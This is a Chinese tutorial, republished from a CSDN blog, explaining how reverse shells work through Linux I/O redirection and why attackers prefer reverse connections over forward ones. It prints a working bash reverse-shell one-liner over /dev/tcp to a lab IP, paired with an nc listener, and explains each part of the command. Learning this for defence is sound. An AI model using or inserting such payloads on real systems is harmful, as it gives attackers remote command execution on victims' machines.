ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

反弹shell学习

2021-07-24 16:34:32  阅读:218  来源: 互联网

标签:输出 shell 重定向 攻击机 TCP 学习 反弹 输入


文章目录

简单讲一下反弹shell:

什么是shell?

linux的终端就是shell,相当于windows下的cmd.exe

反弹shell的原理到底是什么:

反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
这里有个地方初学者不是很好理解:目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
那么这句话的实质操作是什么呢?
本质就是目标机对攻击机发起了TCP请求,既然有了请求,那么必然有输入和输出。而我们都知道linux中存在重定向。举个简单例子:
[将 echo hello 重定向到file文件中 ]
在这里插入图片描述
同理,对于标准输入(0),标准输出(1),标准错误(2),我们都可以进行重定向。
因此我们在建立了TCP连接后,攻击机的输入不就可以变成我们受害机shell执行的命令吗?我们再把命令重定向到攻击机的shell界面,就完成了反弹shell。

重定向符号了解:

当Linux启动的时候会默认打开三个文件描述符,分别是:
标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)
在实操过程中我们都记作 0 1 2
< 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向(都是默认的)

输入重定向: <

在这里插入图片描述

这里强调一下输入重定向的整个流程:并不是把我们输入的内容复制到file(这个操作后面会讲),而是将我们目前的tmp移动到file,然后再实行shell命令cat:

输出重定向:>

在这里插入图片描述
这里就很好理解输出重定向:将执行的结果1 输出到file文件中

标准输出与标准错误输出重定向:&> 、>&

两个符号其实没有区别
在这里插入图片描述
>&也等价于1>file xxxxxx 2>1

exec 绑定重定向:

exec xxx<>xxx
在这里插入图片描述
这里都是一个意思,因为没有出现报错。

反弹shell的:

适用环境:

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

具体理解命令行:

先给出playload:

受害机: bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
攻击机:nc -lvp 2333  (监听端口)

bash -i : 一个编译环境,比较常见的一个shell,常见的还有sh
>& :输出和报错都重定向到tcp连接里去
>/dev/tcp/ip/port: 建立一个TCP连接
0>&1: 标准输入重定向到1的环境中去,而这里1即标准环境的输出是>&
其次还有几个地方:
这里我们产生的是一个交互式shell,我的输出会作为对面的输入,举个例子理解一下:
[这里我的kali一打开就蓝屏,所以图片暂时使用先知某位师傅的图片]:
攻击机的输入:ifconfig
在这里插入图片描述
受害机:
在这里插入图片描述
当公鸡机输入ifconfig的时候,受害机器会接收到ifconfig,并出现再命令行作为受害机输入,因为我们命令里面已经定义了,0的环境定义到输出环境,而输出环境又定义到了TCP连接。因此我们攻击机输入ifconfig,受害机首先将其重定向到TCP连接中,又因为bash 也重定向到了TCP连接,所以该TCP可以执行命令,命令的结果也重定向到了TCP中。这样一来,受害机就无回显的被命令执行了

结语:

上面的内容均是自己再参考了以下链接后写出的自己总结:
https://xz.aliyun.com/t/2548#toc-1
https://xz.aliyun.com/t/2549

标签:输出,shell,重定向,攻击机,TCP,学习,反弹,输入
来源: https://blog.csdn.net/weixin_51353029/article/details/119058657

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有